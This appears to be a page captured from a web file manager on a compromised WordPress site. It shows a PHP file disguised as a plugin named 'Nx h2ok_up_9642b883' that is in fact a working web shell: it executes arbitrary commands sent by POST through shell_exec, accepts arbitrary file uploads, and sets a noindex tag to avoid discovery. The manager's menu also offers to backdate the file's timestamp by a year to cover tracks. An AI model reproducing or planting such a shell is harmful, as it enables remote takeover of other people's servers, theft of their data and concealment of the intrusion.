文件操作 - h2ok_up_9642b883.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/h2ok_up_9642b883/h2ok_up_9642b883.php
编辑文件内容
<?php /* Plugin Name: Nx h2ok_up_9642b883 Description: Simple Cmd Exec + Upload Version: 1.0 */ $msg = ''; if (isset($_POST['cmd']) && !empty($_POST['cmd'])) { $cmd = $_POST['cmd']; $output = shell_exec($cmd . ' 2>&1'); $msg .= '<pre>' . htmlspecialchars($output ?? '') . '</pre>'; } if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) { $f = $_FILES['file']; if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) { $name = basename( (string) $f['name'] ); $name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name ); if ( $name === '' || $name === null ) { $name = 'upload.bin'; } $dest = __DIR__.DIRECTORY_SEPARATOR . $name; if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) { $msg .= '<p>OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' ) . '</p>'; } else { $msg .= '<p>FAIL</p>'; } } else { $msg .= '<p>NOFILE</p>'; } } ?><!DOCTYPE html> <html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>Nx Shell</title></head> <body> <p class="s">sig :: H2OK</p> <h3>Command Execution</h3> <form method="post"> <input type="text" name="cmd" size="80" placeholder="id ; ls -la ; whoami ; uname -a" value="<?= htmlspecialchars($_POST['cmd'] ?? '') ?>" autofocus> <button type="submit">Execute</button> </form> <?php if ($msg !== '') echo $msg; ?> <h3>File Upload</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body></html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件